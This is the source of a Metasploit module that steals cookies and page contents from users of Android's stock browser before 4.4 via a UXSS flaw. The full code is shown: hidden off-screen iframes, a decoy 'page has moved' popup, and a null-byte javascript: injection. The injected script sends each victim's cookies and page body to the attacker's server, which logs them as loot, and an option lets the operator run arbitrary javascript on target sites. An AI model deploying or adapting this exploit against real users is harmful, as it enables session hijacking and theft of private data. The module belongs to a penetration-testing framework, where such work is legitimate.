2014-09-08 04:25:08 +00:00
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Android Open Source Platform ("Stock") Browser Cookie Stealer',
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'Description' => %q{
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This module exploits a UXSS vulnerability present in all versions of
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Android's open source stock browser before Android 4.4.
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If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,
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which will cause a popup window to be used (this requires a click from the user
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and is much less stealthy).
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},
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'Author' => [
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'Rafay Baloch', # Original discovery, disclosure
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'joev' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Actions' => [
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[ 'WebServer' ]
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],
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'PassiveActions' => [
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'WebServer'
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],
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'References' => [
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2014-09-08 04:33:45 +00:00
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[ 'URL', 'http://1337day.com/exploit/description/22581' ],
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2014-09-08 04:25:08 +00:00
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],
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'DefaultAction' => 'WebServer'
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))
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register_options([
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OptString.new('TARGET_URLS', [
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true,
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"The comma-separated list of URLs to steal.",
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'http://example.com'
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]),
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OptString.new('CUSTOM_JS', [
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false,
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"A string of javascript to execute in the context of the target URLs.",
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''
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]),
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OptBool.new('BYPASS_XFO', [
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false,
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"Bypass URLs that have X-Frame-Options by using a one-click popup exploit.",
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false
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])
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], self.class)
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end
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def on_request_uri(cli, request)
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print_status("Request '#{request.method} #{request.uri}'")
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if request.method.downcase == 'post'
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collect_data(request)
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send_response_html(cli, '')
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else
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payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
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domains = datastore['TARGET_URLS'].split(',')
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html = <<-EOS
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<html>
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<body>
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<script>
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var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}"));
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var bypassXFO = #{datastore['BYPASS_XFO']};
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var received = [];
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window.addEventListener('message', function(e) {
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if (bypassXFO && received[JSON.parse(e.data).i]) return;
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if (bypassXFO && e.data) received.push(true);
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var x = new XMLHttpRequest;
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x.open('POST', window.location, true);
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x.send(e.data);
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}, false);
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function randomString() {
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var str = '';
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for (var i = 0; i < 5+Math.random()*15; i++) {
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str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26))
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}
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return str;
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}
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function installFrame(target) {
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var f = document.createElement('iframe');
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var n = randomString();
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f.setAttribute('name', n);
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f.setAttribute('src', target);
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f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');
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f.onload = function(){
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attack(target, n);
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};
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document.body.appendChild(f);
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}
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function attack(target, n, i, cachedN) {
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var exploit = function(){
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window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage(JSON.stringify({cookie:document'+
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'.cookie,url:location.href,body:document.body.innerHTML,i:'+(i||0)+'}),"*");'+
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'#{datastore['CUSTOM_JS']||''};}void(0);', n);
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}
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if (!n) {
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n = cachedN || randomString();
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var w = window.open(target, n);
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var clear = setInterval(function(){
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if (received[i]) {
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try{ w.stop(); }catch(e){}
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try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){}
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clearInterval(clear);
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clearInterval(clear2);
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if (i < targets.length-1) {
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setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100);
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} else {
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w.close();
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}
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}
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}, 50);
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var clear2 = setInterval(function(){
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try {
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if (w.document) return;
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if (w.location.href.toString()) return;
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} catch(e) {}
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clearInterval(clear2);
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clear2 = setInterval(exploit, 300);
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},100);
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} else {
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exploit();
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}
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}
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var clickedOnce = false;
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function onclickHandler() {
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if (clickedOnce) return false;
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clickedOnce = true;
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attack(targets[0], null, 0);
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return false;
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}
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window.onload = function(){
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if (bypassXFO) {
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document.querySelector('#click').style.display='block';
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window.onclick = onclickHandler;
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} else {
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for (var i = 0; i < targets.length; i++) {
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installFrame(targets[i]);
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}
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}
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}
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</script>
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<div style='text-align:center;margin:20px 0;font-size:22px;display:none'
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id='click' onclick='onclickHandler()'>
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The page has moved. <a href='#'>Click here to be redirected.</a>
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</div>
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</body>
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</html>
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EOS
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print_status("Sending initial HTML ...")
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send_response_html(cli, html)
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end
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end
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def collect_data(request)
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response = JSON.parse(request.body)
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url = response['url']
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if response && url
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file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
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print_good "Collected data from URL: #{url}"
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print_good "Saved to: #{file}"
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end
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end
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def backend_url
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proto = (datastore["SSL"] ? "https" : "http")
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myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
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port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
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"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
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end
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def run
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exploit
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end
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end
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